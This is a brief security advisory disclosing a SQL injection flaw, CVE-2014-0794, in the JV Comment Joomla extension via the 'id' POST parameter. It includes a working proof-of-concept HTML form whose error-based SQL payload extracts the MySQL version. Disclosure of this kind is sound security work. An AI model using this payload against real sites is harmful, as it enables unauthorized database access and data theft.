SQL Injection in JV Comment Joomla Extension

High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in JV Comment Joomla Extension, which can be exploited to perform SQL Injection attacks.

1. SQL Injection in JV Comment Joomla Extension: CVE-2014-0794
   The vulnerability exists due to insufficient validation of “id” HTTP POST parameter passed to “/index.php” script. A remote authenticated attacker can execute arbitrary SQL commands in application’s database.
   The following exploitation example displays version of MySQL database:
   <form action=“http://[host]/index.php” method=“post” name=“main”>
   <input type=“hidden” name=“option” value=“com_jvcomment”>
   <input type=“hidden” name=“task” value=“comment.like”>
   <input type=“hidden” name=“id” value=“1 AND 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2)))”>
   <input type=“submit” id=“btn”>
   </form>